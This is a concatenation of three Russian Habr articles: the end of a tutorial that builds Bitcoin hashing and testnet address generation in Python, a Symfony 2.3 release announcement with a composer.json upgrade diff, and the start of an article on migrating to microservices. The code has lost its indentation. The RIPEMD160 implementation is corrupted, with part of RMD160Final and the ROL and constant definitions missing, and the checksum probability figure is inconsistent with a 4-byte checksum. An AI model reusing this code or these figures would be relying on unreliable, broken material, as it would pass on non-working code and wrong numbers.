g = f
f = e
e = (d + T1) % 2**32
d = c
c = b
b = a
a = (T1 + T2) % 2**32
# 4. Compute the i-th intermediate hash value H^i
delta = [a, b, c, d, e, f, g, h]
H = [(i1 + i2) % 2**32 for i1, i2 in zip(H, delta)]
return b''.join(i2b(i) for i in H)
return sha256
sha256 = gen_sha256_with_variable_scope_protector_to_not_pollute_global_namespace()
print("verify empty hash:", sha256(b'').hex()) # should be e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
print(sha256(b'here is a random bytes message, cool right?').hex())
print("number of bytes in a sha256 digest: ", len(sha256(b'')))
```
```
verify empty hash: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
69b9779edaa573a509999cbae415d3408c30544bad09727a1d64eff353c95b89
number of bytes in a sha256 digest: 32
```
Хорошо, причина, по которой я хотел реализовать это с нуля и вставить сюда, заключается в том, что я хочу, чтобы вы заметили, что опять же, внутри нет ничего слишком страшного. SHA256 принимает несколько байтов сообщения, которое должно быть хэшировано, сначала заполняет сообщение, затем разбивает его на части и передает эти фрагменты в то, что лучше всего можно описать как причудливый «битовый миксер», определенный в разделе 3, который содержит несколько битовых сдвигов и бинарных операций, организованных таким образом, который, откровенно говоря, я не в силах понять, но это приводит к прекрасным свойствам, которые предлагает SHA256. В частности, он создает хаоично-выглядящий короткий дайджест фиксированного размера любого исходного сообщения переменного размера при том скремблирование необратимо, а также в принципе невозможно с вычислительной точки зрения создать другое сообщение, которое хешируется таким же дайджестом.
Биткойн повсеместно использует SHA256 для создания хэшей, и, конечно же, это ключевой элемент в Proof of Work биткойна, цель которого состоит в том, чтобы изменить блок транзакций до тех пор, пока все это не хешируется до достаточно низкого числа (когда байты дайджеста интерпретируется как число). Что из-за хороших свойств SHA256 может быть выполнено только с помощью брут форса, полного перебора. Таким образом, все ASIC, предназначенные для эффективного майнинга, представляют собой просто невероятно оптимизированные, close-to-the-metal реализации указанного выше кода.
В любом случае, прежде чем мы сможем сгенерировать наш адрес, нам также понадобится хэш-функция RIPEMD160, которую я нашел в Интернете, сократил и очистил:
```
def gen_ripemd160_with_variable_scope_protector_to_not_pollute_global_namespace():
import sys
import struct
# -----------------------------------------------------------------------------
# public interface
def ripemd160(b: bytes) -> bytes:
""" simple wrapper for a simpler API to this hash function, just bytes to bytes """
ctx = RMDContext()
RMD160Update(ctx, b, len(b))
digest = RMD160Final(ctx)
return digest
# -----------------------------------------------------------------------------
class RMDContext:
def __init__(self):
self.state = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0] # uint32
self.count = 0 # uint64
self.buffer = [0]*64 # uchar
def RMD160Update(ctx, inp, inplen):
have = int((ctx.count // 8) % 64)
inplen = int(inplen)
need = 64 - have
ctx.count += 8 * inplen
off = 0
if inplen >= need:
if have:
for i in range(need):
ctx.buffer[have+i] = inp[i]
RMD160Transform(ctx.state, ctx.buffer)
off = need
have = 0
while off + 64 <= inplen:
RMD160Transform(ctx.state, inp[off:])
off += 64
if off < inplen:
for i in range(inplen - off):
ctx.buffer[have+i] = inp[off+i]
def RMD160Final(ctx):
size = struct.pack("> (32 - n))
def F0(x, y, z):
return x ^ y ^ z
def F1(x, y, z):
return (x & y) | (((~x) % 0x100000000) & z)
def F2(x, y, z):
return (x | ((~y) % 0x100000000)) ^ z
def F3(x, y, z):
return (x & z) | (((~z) % 0x100000000) & y)
def F4(x, y, z):
return x ^ (y | ((~z) % 0x100000000))
def R(a, b, c, d, e, Fj, Kj, sj, rj, X):
a = ROL(sj, (a + Fj(b, c, d) + X[rj] + Kj) % 0x100000000) + e
c = ROL(10, c)
return a % 0x100000000, c
def RMD160Transform(state, block): #uint32 state[5], uchar block[64]
x = [0]\*16
assert sys.byteorder == 'little', "Only little endian is supported atm for RIPEMD160"
x = struct.unpack('<16L', bytes(block[0:64]))
a = state[0]
b = state[1]
c = state[2]
d = state[3]
e = state[4]
#/\* Round 1 \*/
a, c = R(a, b, c, d, e, F0, K0, 11, 0, x)
e, b = R(e, a, b, c, d, F0, K0, 14, 1, x)
d, a = R(d, e, a, b, c, F0, K0, 15, 2, x)
c, e = R(c, d, e, a, b, F0, K0, 12, 3, x)
b, d = R(b, c, d, e, a, F0, K0, 5, 4, x)
a, c = R(a, b, c, d, e, F0, K0, 8, 5, x)
e, b = R(e, a, b, c, d, F0, K0, 7, 6, x)
d, a = R(d, e, a, b, c, F0, K0, 9, 7, x)
c, e = R(c, d, e, a, b, F0, K0, 11, 8, x)
b, d = R(b, c, d, e, a, F0, K0, 13, 9, x)
a, c = R(a, b, c, d, e, F0, K0, 14, 10, x)
e, b = R(e, a, b, c, d, F0, K0, 15, 11, x)
d, a = R(d, e, a, b, c, F0, K0, 6, 12, x)
c, e = R(c, d, e, a, b, F0, K0, 7, 13, x)
b, d = R(b, c, d, e, a, F0, K0, 9, 14, x)
a, c = R(a, b, c, d, e, F0, K0, 8, 15, x) #/\* #15 \*/
#/\* Round 2 \*/
e, b = R(e, a, b, c, d, F1, K1, 7, 7, x)
d, a = R(d, e, a, b, c, F1, K1, 6, 4, x)
c, e = R(c, d, e, a, b, F1, K1, 8, 13, x)
b, d = R(b, c, d, e, a, F1, K1, 13, 1, x)
a, c = R(a, b, c, d, e, F1, K1, 11, 10, x)
e, b = R(e, a, b, c, d, F1, K1, 9, 6, x)
d, a = R(d, e, a, b, c, F1, K1, 7, 15, x)
c, e = R(c, d, e, a, b, F1, K1, 15, 3, x)
b, d = R(b, c, d, e, a, F1, K1, 7, 12, x)
a, c = R(a, b, c, d, e, F1, K1, 12, 0, x)
e, b = R(e, a, b, c, d, F1, K1, 15, 9, x)
d, a = R(d, e, a, b, c, F1, K1, 9, 5, x)
c, e = R(c, d, e, a, b, F1, K1, 11, 2, x)
b, d = R(b, c, d, e, a, F1, K1, 7, 14, x)
a, c = R(a, b, c, d, e, F1, K1, 13, 11, x)
e, b = R(e, a, b, c, d, F1, K1, 12, 8, x) #/\* #31 \*/
#/\* Round 3 \*/
d, a = R(d, e, a, b, c, F2, K2, 11, 3, x)
c, e = R(c, d, e, a, b, F2, K2, 13, 10, x)
b, d = R(b, c, d, e, a, F2, K2, 6, 14, x)
a, c = R(a, b, c, d, e, F2, K2, 7, 4, x)
e, b = R(e, a, b, c, d, F2, K2, 14, 9, x)
d, a = R(d, e, a, b, c, F2, K2, 9, 15, x)
c, e = R(c, d, e, a, b, F2, K2, 13, 8, x)
b, d = R(b, c, d, e, a, F2, K2, 15, 1, x)
a, c = R(a, b, c, d, e, F2, K2, 14, 2, x)
e, b = R(e, a, b, c, d, F2, K2, 8, 7, x)
d, a = R(d, e, a, b, c, F2, K2, 13, 0, x)
c, e = R(c, d, e, a, b, F2, K2, 6, 6, x)
b, d = R(b, c, d, e, a, F2, K2, 5, 13, x)
a, c = R(a, b, c, d, e, F2, K2, 12, 11, x)
e, b = R(e, a, b, c, d, F2, K2, 7, 5, x)
d, a = R(d, e, a, b, c, F2, K2, 5, 12, x) #/\* #47 \*/
#/\* Round 4 \*/
c, e = R(c, d, e, a, b, F3, K3, 11, 1, x)
b, d = R(b, c, d, e, a, F3, K3, 12, 9, x)
a, c = R(a, b, c, d, e, F3, K3, 14, 11, x)
e, b = R(e, a, b, c, d, F3, K3, 15, 10, x)
d, a = R(d, e, a, b, c, F3, K3, 14, 0, x)
c, e = R(c, d, e, a, b, F3, K3, 15, 8, x)
b, d = R(b, c, d, e, a, F3, K3, 9, 12, x)
a, c = R(a, b, c, d, e, F3, K3, 8, 4, x)
e, b = R(e, a, b, c, d, F3, K3, 9, 13, x)
d, a = R(d, e, a, b, c, F3, K3, 14, 3, x)
c, e = R(c, d, e, a, b, F3, K3, 5, 7, x)
b, d = R(b, c, d, e, a, F3, K3, 6, 15, x)
a, c = R(a, b, c, d, e, F3, K3, 8, 14, x)
e, b = R(e, a, b, c, d, F3, K3, 6, 5, x)
d, a = R(d, e, a, b, c, F3, K3, 5, 6, x)
c, e = R(c, d, e, a, b, F3, K3, 12, 2, x) #/\* #63 \*/
#/\* Round 5 \*/
b, d = R(b, c, d, e, a, F4, K4, 9, 4, x)
a, c = R(a, b, c, d, e, F4, K4, 15, 0, x)
e, b = R(e, a, b, c, d, F4, K4, 5, 5, x)
d, a = R(d, e, a, b, c, F4, K4, 11, 9, x)
c, e = R(c, d, e, a, b, F4, K4, 6, 7, x)
b, d = R(b, c, d, e, a, F4, K4, 8, 12, x)
a, c = R(a, b, c, d, e, F4, K4, 13, 2, x)
e, b = R(e, a, b, c, d, F4, K4, 12, 10, x)
d, a = R(d, e, a, b, c, F4, K4, 5, 14, x)
c, e = R(c, d, e, a, b, F4, K4, 12, 1, x)
b, d = R(b, c, d, e, a, F4, K4, 13, 3, x)
a, c = R(a, b, c, d, e, F4, K4, 14, 8, x)
e, b = R(e, a, b, c, d, F4, K4, 11, 11, x)
d, a = R(d, e, a, b, c, F4, K4, 8, 6, x)
c, e = R(c, d, e, a, b, F4, K4, 5, 15, x)
b, d = R(b, c, d, e, a, F4, K4, 6, 13, x) #/\* #79 \*/
aa = a
bb = b
cc = c
dd = d
ee = e
a = state[0]
b = state[1]
c = state[2]
d = state[3]
e = state[4]
#/\* Parallel round 1 \*/
a, c = R(a, b, c, d, e, F4, KK0, 8, 5, x)
e, b = R(e, a, b, c, d, F4, KK0, 9, 14, x)
d, a = R(d, e, a, b, c, F4, KK0, 9, 7, x)
c, e = R(c, d, e, a, b, F4, KK0, 11, 0, x)
b, d = R(b, c, d, e, a, F4, KK0, 13, 9, x)
a, c = R(a, b, c, d, e, F4, KK0, 15, 2, x)
e, b = R(e, a, b, c, d, F4, KK0, 15, 11, x)
d, a = R(d, e, a, b, c, F4, KK0, 5, 4, x)
c, e = R(c, d, e, a, b, F4, KK0, 7, 13, x)
b, d = R(b, c, d, e, a, F4, KK0, 7, 6, x)
a, c = R(a, b, c, d, e, F4, KK0, 8, 15, x)
e, b = R(e, a, b, c, d, F4, KK0, 11, 8, x)
d, a = R(d, e, a, b, c, F4, KK0, 14, 1, x)
c, e = R(c, d, e, a, b, F4, KK0, 14, 10, x)
b, d = R(b, c, d, e, a, F4, KK0, 12, 3, x)
a, c = R(a, b, c, d, e, F4, KK0, 6, 12, x) #/\* #15 \*/
#/\* Parallel round 2 \*/
e, b = R(e, a, b, c, d, F3, KK1, 9, 6, x)
d, a = R(d, e, a, b, c, F3, KK1, 13, 11, x)
c, e = R(c, d, e, a, b, F3, KK1, 15, 3, x)
b, d = R(b, c, d, e, a, F3, KK1, 7, 7, x)
a, c = R(a, b, c, d, e, F3, KK1, 12, 0, x)
e, b = R(e, a, b, c, d, F3, KK1, 8, 13, x)
d, a = R(d, e, a, b, c, F3, KK1, 9, 5, x)
c, e = R(c, d, e, a, b, F3, KK1, 11, 10, x)
b, d = R(b, c, d, e, a, F3, KK1, 7, 14, x)
a, c = R(a, b, c, d, e, F3, KK1, 7, 15, x)
e, b = R(e, a, b, c, d, F3, KK1, 12, 8, x)
d, a = R(d, e, a, b, c, F3, KK1, 7, 12, x)
c, e = R(c, d, e, a, b, F3, KK1, 6, 4, x)
b, d = R(b, c, d, e, a, F3, KK1, 15, 9, x)
a, c = R(a, b, c, d, e, F3, KK1, 13, 1, x)
e, b = R(e, a, b, c, d, F3, KK1, 11, 2, x) #/\* #31 \*/
#/\* Parallel round 3 \*/
d, a = R(d, e, a, b, c, F2, KK2, 9, 15, x)
c, e = R(c, d, e, a, b, F2, KK2, 7, 5, x)
b, d = R(b, c, d, e, a, F2, KK2, 15, 1, x)
a, c = R(a, b, c, d, e, F2, KK2, 11, 3, x)
e, b = R(e, a, b, c, d, F2, KK2, 8, 7, x)
d, a = R(d, e, a, b, c, F2, KK2, 6, 14, x)
c, e = R(c, d, e, a, b, F2, KK2, 6, 6, x)
b, d = R(b, c, d, e, a, F2, KK2, 14, 9, x)
a, c = R(a, b, c, d, e, F2, KK2, 12, 11, x)
e, b = R(e, a, b, c, d, F2, KK2, 13, 8, x)
d, a = R(d, e, a, b, c, F2, KK2, 5, 12, x)
c, e = R(c, d, e, a, b, F2, KK2, 14, 2, x)
b, d = R(b, c, d, e, a, F2, KK2, 13, 10, x)
a, c = R(a, b, c, d, e, F2, KK2, 13, 0, x)
e, b = R(e, a, b, c, d, F2, KK2, 7, 4, x)
d, a = R(d, e, a, b, c, F2, KK2, 5, 13, x) #/\* #47 \*/
#/\* Parallel round 4 \*/
c, e = R(c, d, e, a, b, F1, KK3, 15, 8, x)
b, d = R(b, c, d, e, a, F1, KK3, 5, 6, x)
a, c = R(a, b, c, d, e, F1, KK3, 8, 4, x)
e, b = R(e, a, b, c, d, F1, KK3, 11, 1, x)
d, a = R(d, e, a, b, c, F1, KK3, 14, 3, x)
c, e = R(c, d, e, a, b, F1, KK3, 14, 11, x)
b, d = R(b, c, d, e, a, F1, KK3, 6, 15, x)
a, c = R(a, b, c, d, e, F1, KK3, 14, 0, x)
e, b = R(e, a, b, c, d, F1, KK3, 6, 5, x)
d, a = R(d, e, a, b, c, F1, KK3, 9, 12, x)
c, e = R(c, d, e, a, b, F1, KK3, 12, 2, x)
b, d = R(b, c, d, e, a, F1, KK3, 9, 13, x)
a, c = R(a, b, c, d, e, F1, KK3, 12, 9, x)
e, b = R(e, a, b, c, d, F1, KK3, 5, 7, x)
d, a = R(d, e, a, b, c, F1, KK3, 15, 10, x)
c, e = R(c, d, e, a, b, F1, KK3, 8, 14, x) #/\* #63 \*/
#/\* Parallel round 5 \*/
b, d = R(b, c, d, e, a, F0, KK4, 8, 12, x)
a, c = R(a, b, c, d, e, F0, KK4, 5, 15, x)
e, b = R(e, a, b, c, d, F0, KK4, 12, 10, x)
d, a = R(d, e, a, b, c, F0, KK4, 9, 4, x)
c, e = R(c, d, e, a, b, F0, KK4, 12, 1, x)
b, d = R(b, c, d, e, a, F0, KK4, 5, 5, x)
a, c = R(a, b, c, d, e, F0, KK4, 14, 8, x)
e, b = R(e, a, b, c, d, F0, KK4, 6, 7, x)
d, a = R(d, e, a, b, c, F0, KK4, 8, 6, x)
c, e = R(c, d, e, a, b, F0, KK4, 13, 2, x)
b, d = R(b, c, d, e, a, F0, KK4, 6, 13, x)
a, c = R(a, b, c, d, e, F0, KK4, 5, 14, x)
e, b = R(e, a, b, c, d, F0, KK4, 15, 0, x)
d, a = R(d, e, a, b, c, F0, KK4, 13, 3, x)
c, e = R(c, d, e, a, b, F0, KK4, 11, 9, x)
b, d = R(b, c, d, e, a, F0, KK4, 11, 11, x) #/\* #79 \*/
t = (state[1] + cc + d) % 0x100000000
state[1] = (state[2] + dd + e) % 0x100000000
state[2] = (state[3] + ee + a) % 0x100000000
state[3] = (state[4] + aa + b) % 0x100000000
state[4] = (state[0] + bb + c) % 0x100000000
state[0] = t % 0x100000000
return ripemd160
ripemd160 = gen\_ripemd160\_with\_variable\_scope\_protector\_to\_not\_pollute\_global\_namespace()
print(ripemd160(b'hello this is a test').hex())
print("number of bytes in a RIPEMD-160 digest: ", len(ripemd160(b'')))
```
```
f51960af7dd4813a587ab26388ddab3b28d1f7b4
number of bytes in a RIPEMD-160 digest: 20
```
Как и в случае с SHA256 выше, мы снова видим «битовый скремблер» множества двоичных операций. Довольно круто.
Итак, мы наконец-то готовы получить наш биткойн-адрес. Мы собираемся сделать это элегантно, создав подкласс `Point` под названием `PublicKey`, который, опять же, является просто точкой на кривой, но теперь имеет некоторую дополнительную семантику и интерпретацию открытого ключа биткойна, а также некоторые методы кодирования/декодирования ключа в байты для связи в протоколе биткойн.
```
class PublicKey(Point):
"""
The public key is just a Point on a Curve, but has some additional specific
encoding / decoding functionality that this class implements.
"""
@classmethod
def from_point(cls, pt: Point):
""" promote a Point to be a PublicKey """
return cls(pt.curve, pt.x, pt.y)
def encode(self, compressed, hash160=False):
""" return the SEC bytes encoding of the public key Point """
# calculate the bytes
if compressed:
# (x,y) is very redundant. Because y^2 = x^3 + 7,
# we can just encode x, and then y = +/- sqrt(x^3 + 7),
# so we need one more bit to encode whether it was the + or the -
# but because this is modular arithmetic there is no +/-, instead
# it can be shown that one y will always be even and the other odd.
prefix = b'\x02' if self.y % 2 == 0 else b'\x03'
pkb = prefix + self.x.to_bytes(32, 'big')
else:
pkb = b'\x04' + self.x.to_bytes(32, 'big') + self.y.to_bytes(32, 'big')
# hash if desired
return ripemd160(sha256(pkb)) if hash160 else pkb
def address(self, net: str, compressed: bool) -> str:
""" return the associated bitcoin address for this public key as string """
# encode the public key into bytes and hash to get the payload
pkb_hash = self.encode(compressed=compressed, hash160=True)
# add version byte (0x00 for Main Network, or 0x6f for Test Network)
version = {'main': b'\x00', 'test': b'\x6f'}
ver_pkb_hash = version[net] + pkb_hash
# calculate the checksum
checksum = sha256(sha256(ver_pkb_hash))[:4]
# append to form the full 25-byte binary Bitcoin Address
byte_address = ver_pkb_hash + checksum
# finally b58 encode the result
b58check_address = b58encode(byte_address)
return b58check_address
```
Мы еще не готовы испытать этот класс, потому что вы заметите, что здесь есть еще одна необходимая зависимость, а именно функция кодирования b58 `b58encode`. Это просто специфичная для биткойна кодировка байтов, в которой используется база 58 символов алфавита, которые очень однозначны. Например, в нем не используются «O» и «0», потому что их очень легко испортить на бумаге. Итак, нам нужно взять наш биткойн-адрес (который составляет 25 байтов в необработанном виде), преобразовать его в базу 58 и распечатать символы. Необработанные 25 байтов нашего адреса содержат 1 байт для версии («основная сеть» биткойна — это `b'\x00'`, в то время как «тестовая сеть» Биткойна использует `b'\x6f'`), затем 20 байтов из хэша. дайджест и, наконец, 4 байта для контрольной суммы, чтобы мы могли выдать ошибку с вероятностью `1–1/2** 4 = 93,75%` в случае, если пользователь неправильно ввел свой биткойн-адрес в какое-либо текстовое поле. Итак, вот кодировка b58:
```
# base58 encoding / decoding utilities
# reference: https://en.bitcoin.it/wiki/Base58Check_encoding
alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
def b58encode(b: bytes) -> str:
assert len(b) == 25 # version is 1 byte, pkb_hash 20 bytes, checksum 4 bytes
n = int.from_bytes(b, 'big')
chars = []
while n:
n, i = divmod(n, 58)
chars.append(alphabet[i])
# special case handle the leading 0 bytes... ¯\_(ツ)_/¯
num_leading_zeros = len(b) - len(b.lstrip(b'\x00'))
res = num_leading_zeros * alphabet[0] + ''.join(reversed(chars))
return res
```
Теперь напечатаем наш биткойн-адрес:
```
# we are going to use the develop's Bitcoin parallel universe "test net" for this demo, so net='test'
address = PublicKey.from_point(public_key).address(net='test', compressed=True)
print(address)
```
```
mnNcaVkC35ezZSgvn8fhXEa9QTHSUtPfzQ
```
Круто, теперь мы можем проверить какой-нибудь веб-сайт проводника блоков, чтобы убедиться, что этот адрес никогда ранее не выполнялся: [www.blockchain.com/btc-testnet/address/mnNcaVkC35ezZSgvn8fhXEa9QTHSUtPfzQ](https://www.blockchain.com/btc-testnet/address/mnNcaVkC35ezZSgvn8fhXEa9QTHSUtPfzQ). К концу этого руководства этого не произойдет, но на момент написания я действительно увидел, что этот адрес «чистый», поэтому никто не сгенерировал и не использовал секретный ключ в тестовой сети, как мы это делали выше. Это имеет смысл, потому что должен был быть какой-то другой «Андрей» с плохим чувством юмора, который также возился с биткойном. Но мы также можем проверить некоторые суперсекретные секретные ключи, которые, как мы ожидаем, использовались людьми в прошлом. Например, мы можем проверить адрес, принадлежащий наименьшему действующему секретному ключу, равному 1, где открытый ключ — это именно точка генератора :). Вот как мы это получаем:
```
lol_secret_key = 1
lol_public_key = lol_secret_key * G
lol_address = PublicKey.from_point(lol_public_key).address(net='test', compressed=True)
lol_address
```
```
'mrCDrCybB6J1vRfbwM5hemdJz73FwDBC8r'
```
В самом деле, как мы [видим](https://www.blockchain.com/btc-testnet/address/mrCDrCybB6J1vRfbwM5hemdJz73FwDBC8r) в обозревателе блокчейнов, на момент написания этот адрес совершал транзакции 1812 раз и имеет баланс 0,00 BTC. Это имеет смысл, потому что, если бы у него был какой-либо баланс (в наивном случае, по модулю некоторых тонкостей с языком сценариев, который мы будем использовать), то любой мог бы просто потратить его, потому что он знает секретный ключ (1) и может его использовать для цифровой подписи транзакций, которые их тратят. Мы скоро увидим, как это работает.
### Часть 1: Итоги на данный момент
Мы можем сгенерировать криптосущность, состоящую из секретного ключа (случайного целого числа), известного только нам, и производного открытого ключа, прыгая по эллиптической кривой, используя скалярное умножение точки генерации на эллиптической кривой биткойна. Затем мы также получили связанный биткойн-адрес, которым мы можем поделиться с другими, чтобы запросить деньги, и для этого были введены две хэш-функции (SHA256 и RIPEMD160). Вот три важных количества, обобщенных и снова распечатанных:
```
print("Our first Bitcoin identity:")
print("1. secret key: ", secret_key)
print("2. public key: ", (public_key.x, public_key.y))
print("3. Bitcoin address: ", address)
```
```
Our first Bitcoin identity:
1. secret key: 22265090479312778178772228083027296664144
2. public key: (83998262154709529558614902604110599582969848537757180553516367057821848015989, 37676469766173670826348691885774454391218658108212372128812329274086400588247)
3. Bitcoin address: mnNcaVkC35ezZSgvn8fhXEa9QTHSUtPfzQ
```
*Продолжение следует*
* Part 2: Obtaining seed funds + intro to Bitcoin under the hood
* Part 3: Crafting our transaction | https://habr.com/ru/post/564256/ | null | ru | null |
# Symfony 2.3.0! Первый релиз с долгосрочной поддержкой!
 Symfony 2.3.0
-------------
Мы все долго этого ждали, многие из нас работали последние 4 года что бы это произошло. Сегодня, Symfony 2.3.0 доступна и это первый релиз с долгосрочной поддержкой(LTS) для Symfony 2.
Я очень счастлив, что мы достигли этой точки в жизни Фреймворка. Спасибо вам, что сделали это возможным!
Что это значит? С момента введения [новой политики релизов](http://symfony.com/doc/current/contributing/community/releases.html), стандартная версия с восьми-месячной поддержкой Symfony выходит каждые пол года. Каждые два года мы выпускаем версию [LTS](http://symfony.com/doc/current/contributing/community/releases.html#long-term-support-releases) с поддержкой в течении **трех лет**.
Это даёт нам лучшее двух разных миров: маленькие команды и agile компании могут использовать лучшее из новых возможностей, обновляясь каждые пол года; большие команды и традиционные компании могут полагаться на релиз в течении трех лет и иметь ещё один год что бы обновиться до следующего LTS релиза.
И 2.3.0 это наш первый релиз долгосрочной поддержки. Мы, сообщество, будем поддерживать его следующие три года (до мая 2016).
Цифры
-----
Традиционно, я хочу показать некоторые факты в цифрах. На Symfony 2.3.0 нам понадобилось всего три месяца вместо шести. В итоге, 2.3 включает в себя 437 пулл-реквеста, 1,260 коммитов, отправленных 50ю разработчиками. В документацию вошли 839 коммита от 44 авторов.
1,260 коммитов за 3 месяца — это примерно 14 коммитов каждый день. 437 пулл-реквеста — 5 пулл-реквестов сливалось с основной веткой за сутки. Это новый рекорд!
Возможности
-----------
Что насчет самых интересных изменений? Давайте суммируем всё то что я писал в этом [блоге](http://symfony.com/blog/category/living-on-the-edge) последние пару месяцев:
* **DomCrawler**: [Schema-relative URLs](http://symfony.com/blog/new-in-symfony-2-3-domcrawler-enhancements#schema-relative-urls);
* **DomCrawler**: [HTML5 forms](http://symfony.com/blog/new-in-symfony-2-3-domcrawler-enhancements#html5-forms);
* **Console**: [Events in the Console Component](http://symfony.com/blog/new-in-symfony-2-3-events-in-the-console-component);
* **Console**: [Progress helper enhancements](http://symfony.com/blog/new-in-symfony-2-3-great-new-features-in-the-console-component#progress-helper-enhancements);
* **Console**: [TableHelper](http://symfony.com/blog/new-in-symfony-2-3-great-new-features-in-the-console-component#tablehelper);
* **Console**: [Console output in more Formats](http://symfony.com/blog/new-in-symfony-2-3-great-new-features-in-the-console-component#console-output-in-more-formats);
* **Console**: [More Verbosity Levels](http://symfony.com/blog/new-in-symfony-2-3-great-new-features-in-the-console-component#more-verbosity-levels);
* **HttpFoundation**: [Use Sub-Networks to configure Trusted Proxies](http://symfony.com/blog/new-in-symfony-2-3-use-sub-networks-to-configure-trusted-proxies);
* **Validator**: [New validators](http://symfony.com/blog/new-in-symfony-2-3-new-validators);
* **Validator**: [Comparison Validators](http://symfony.com/blog/new-in-symfony-2-3-what-else#comparison-validators);
* **Form**: [Buttons support in Forms](http://symfony.com/blog/new-in-symfony-2-3-buttons-support-in-forms);
* **Dependency Injection**: [Lazy Services](http://symfony.com/blog/new-in-symfony-2-3-what-else#lazy-services);
* **Dependency Injection**: [Synchronized services](http://symfony.com/blog/new-in-symfony-2-3-what-else#synchronized-services);
* **CssSelector**: [CSS Selector refactoring](http://symfony.com/blog/new-in-symfony-2-3-what-else#css-selector);
* **Intl**: [Internationalization refactoring](http://symfony.com/blog/new-in-symfony-2-3-what-else#internationalization);
* **Debug**: [Fatal Error Logging](http://symfony.com/blog/new-in-symfony-2-3-what-else#fatal-error-logging);
* **Standard Edition**: [Interactive Management of the parameters.yml File](http://symfony.com/blog/new-in-symfony-2-3-interactive-management-of-the-parameters-yml-file);
* [и другие мелки улучшения](http://symfony.com/blog/new-in-symfony-2-3-small-things-matter).
Обновление
----------
Обновление с 2.2 до 2.3 должно произойти безболезнено.
Если вы используете стандартную версию (Symfony Standard Edition), вы должны учесть, что некоторые бандлы были удалены из-за проблем с лицензией. Начиная с ветки 2.3 весь код находится под MIT-like лицензией, а так же все зависимости.
**composer.json**
```
diff --git a/composer.json b/composer.json
index c2d7588..5705d76 100644
--- a/composer.json
+++ b/composer.json
@@ -1,32 +1,35 @@
{
"name": "symfony/framework-standard-edition",
+ "license": "MIT",
+ "type": "project",
"description": "The \"Symfony Standard Edition\" distribution",
"autoload": {
"psr-0": { "": "src/" }
},
"require": {
"php": ">=5.3.3",
- "symfony/symfony": "2.2.*",
- "doctrine/orm": "~2.2,>=2.2.3",
+ "symfony/symfony": "2.3.*",
+ "doctrine/orm": ">=2.2.3,<2.4-dev",
"doctrine/doctrine-bundle": "1.2.*",
"twig/extensions": "1.0.*",
- "symfony/assetic-bundle": "2.1.*",
- "symfony/swiftmailer-bundle": "2.2.*",
- "symfony/monolog-bundle": "2.2.*",
- "sensio/distribution-bundle": "2.2.*",
- "sensio/framework-extra-bundle": "2.2.*",
- "sensio/generator-bundle": "2.2.*",
- "jms/security-extra-bundle": "1.4.*",
- "jms/di-extra-bundle": "1.3.*"
+ "symfony/assetic-bundle": "2.3.*",
+ "symfony/swiftmailer-bundle": "2.3.*",
+ "symfony/monolog-bundle": "2.3.*",
+ "sensio/distribution-bundle": "2.3.*",
+ "sensio/framework-extra-bundle": "2.3.*",
+ "sensio/generator-bundle": "2.3.*",
+ "incenteev/composer-parameter-handler": "~2.0"
},
"scripts": {
"post-install-cmd": [
+ "Incenteev\\ParameterHandler\\ScriptHandler::buildParameters",
"Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::buildBootstrap",
"Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::clearCache",
"Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::installAssets",
"Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::installRequirementsFile"
],
"post-update-cmd": [
+ "Incenteev\\ParameterHandler\\ScriptHandler::buildParameters",
"Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::buildBootstrap",
"Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::clearCache",
"Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::installAssets",
@@ -36,12 +39,15 @@
"config": {
"bin-dir": "bin"
},
- "minimum-stability": "alpha",
+ "minimum-stability": "stable",
"extra": {
"symfony-app-dir": "app",
"symfony-web-dir": "web",
+ "incenteev-parameters": {
+ "file": "app/config/parameters.yml"
+ },
"branch-alias": {
- "dev-master": "2.2-dev"
+ "dev-master": "2.3-dev"
}
}
}
```
Вся обратная совместимость, которая была реализована в предыдущей версии была удаленна, проверьте ещё раз свой код и ознакомьтесь с файлом [UPGRADE](https://github.com/symfony/symfony/blob/2.3/UPGRADE-2.3.md).
Установка
---------
Если вы начинаете новый проект с помощью Symfony 2.3 у вас есть несколько вариантов:
* Создайте новый проект посредством Composer (**рекомендовано**)
`$ php composer.phar create-project symfony/framework-standard-edition somewhere/ 2.3.0`
* [Скачайте](http://symfony.com/download) архив для Symfony Standard Edition
Если вы используете некоторые компоненты Symfony в вашем новом приложении, используйте версию 2.3.0 или ветку 2.3:
* С помощью [Composer packages](https://packagist.com/packages/symfony)
* С помощью Github downloads: [https://github.com/symfony/](https://github.com/symfony){COMPONENT\_NAME}/archive/v2.3.0.zip; | https://habr.com/ru/post/182008/ | null | ru | null |
# Микросервисы для чайников: как на них перейти с монолита с нуля
Меня зовут **Семен Катаев**, я работаю в Авито над процессом перехода от монолитной архитектуры к микросервисам. Переход у нас все еще продолжается, но мне уже есть чем с вами поделиться. Это краткий обзор того, с чем придётся столкнуться, если вы задумались над созданием надежного, масштабируемого, распределённого приложения.
Нам пришлось поменять практически все процессы разработки, провести реорганизацию в компании, освоить новые для нас паттерны проектирования и начать использовать незнакомые инструменты для перехода к микросервисной архитектуре. Об инструментах сегодня и пойдёт речь.
До того как мы стали задумываться о микросервисной архитектуре, у нас было классическое веб-серверное приложение с горизонтальным масштабированием. Весь пользовательский трафик встречала серия Load Balancers, которые решали задачи L3-L4 по модели OSI. Application Layer или L7 по модели OSI мы вынесли на отдельный пул серверов, за которыми находилось приложение, формирующее ответ на пользовательский запрос. За ним стояли базы данных:
Отсюда мы начали двигаться в микросервисы. Так как бизнес развивается, в какой-то момент у нас стало 400+ инженеров, которые ежедневно пишут код, делают задачи и запускают процессы CI/CD. И с ростом сложности проекта начала падать производительность отдельно взятого инженера. Хотя микросервисы — это не единственный путь для развития компании, мы решили использовать его из-за модульного подхода к разработке ПО, когда приложение дробится на много независимых слабо связанных модулей (микросервисов). Ниже классическая схема приложения на микросервисной архитектуре.
